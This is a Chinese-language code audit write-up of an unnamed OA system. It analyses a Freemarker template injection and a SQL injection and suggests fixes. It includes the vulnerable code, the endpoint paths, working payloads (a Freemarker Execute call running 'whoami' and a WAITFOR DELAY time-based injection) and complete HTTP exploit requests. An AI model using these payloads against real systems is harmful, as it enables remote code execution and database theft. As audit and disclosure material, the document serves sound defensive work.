某OA代码审计
字数 1206 2025-08-23 18:31:09
某OA系统代码审计与漏洞分析教学文档
1. 系统概述
该OA系统为闭源系统,通过代码审计发现存在多个高危漏洞,包括模板注入和SQL注入漏洞。系统采用JSP技术栈,部分功能使用Freemarker模板引擎。
2. 模板注入漏洞分析
2.1 漏洞位置
漏洞存在于portalwb-con-template!viewConTemplate.action接口中,具体处理函数为viewConTemplate。
2.2 漏洞原理
-
文件操作流程:
- 系统首先检查临时模板目录是否存在,不存在则创建
- 使用UUID作为文件名创建.ftl后缀的临时文件
- 从请求参数
code获取内容,处理后写入临时文件 - 通过Freemarker渲染该临时文件
-
关键问题代码:
String code = this.request.getParameter("code");
code = URLDecoder.decode(code, "UTF-8");
code = code.replaceAll("<", "<")
.replaceAll(""", "\"")
.replaceAll("'", "'")
.replaceAll(">", ">")
.replaceAll(" ", " ")
.replaceAll("<br />", "")
.replaceAll("<p>", "")
.replaceAll("</p>", "")
.replaceAll("&", "&");
byte[] b = code.getBytes();
out.write(b);
out.flush();
- 漏洞成因:
code参数完全可控且未经充分过滤- 写入文件后直接通过Freemarker渲染,导致模板注入
2.3 利用方式
-
所需参数:
moduId: 任意值code: 恶意模板代码uuid: 任意值
-
Payload示例:
code=${"freemarker.template.utility.Execute"?new()("whoami")}
- 完整请求示例:
POST /jc6/platform/portalwb/portalwb-con-template!viewConTemplate.action HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
moduId=1&code=${"freemarker.template.utility.Execute"?new()("whoami")}&uuid=1
2.4 修复建议
- 对
code参数进行严格过滤,禁止Freemarker模板语法 - 限制文件写入目录,避免目录穿越
- 使用白名单方式验证输入内容
3. SQL注入漏洞分析
3.1 漏洞位置
漏洞存在于/jc6/servlet/imagefield接口,通过key=readimage触发。
3.2 漏洞原理
-
请求处理流程:
- 通过GET参数
key控制执行逻辑分支 - 当
key=readimage时进入存在SQL注入的代码路径 - 直接拼接多个参数构造SQL语句
- 通过GET参数
-
关键问题代码:
// 伪代码表示
String sql = "SELECT " + sImgname + " FROM " + sTablename + " WHERE " + sKeyname + "='" + sKeyvalue + "'";
- 漏洞成因:
- 未使用参数化查询
- 直接拼接用户输入到SQL语句
- 无任何过滤或转义处理
3.3 利用方式
-
所需参数:
key: 必须为readimagesImgname: 查询的列名sTablename: 目标表名sKeyname: WHERE条件字段名sKeyvalue: 注入点,可包含恶意SQL
-
Payload示例:
sKeyvalue=1';WAITFOR DELAY '0:0:3'--
- 完整请求示例:
POST /jc6/servlet/imagefield HTTP/1.1
Host: xxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 158
key=readimage&sImgname=1&sTablename=FC_ATTACH&sKeyname=1&sKeyvalue=1';WAITFOR DELAY '0:0:3'--
3.4 修复建议
- 使用参数化查询或预编译语句
- 对表名、列名等使用白名单验证
- 实施最小权限原则,限制数据库账户权限
- 添加输入过滤和输出编码
4. 漏洞验证方法
4.1 模板注入验证
- 发送包含简单命令的Payload,如
whoami - 观察响应时间或尝试获取回显
- 验证复杂命令执行能力
4.2 SQL注入验证
- 使用时间盲注Payload验证漏洞存在
- 尝试获取数据库基本信息
- 逐步提取敏感数据
5. 总结
该OA系统存在两个高危漏洞:
-
模板注入漏洞:
- 影响:可导致远程代码执行
- 利用难度:低
- 危害程度:高
-
SQL注入漏洞:
- 影响:可导致数据库信息泄露
- 利用难度:中
- 危害程度:高
这两个漏洞均可被攻击者利用来获取系统控制权或敏感数据,建议尽快修复。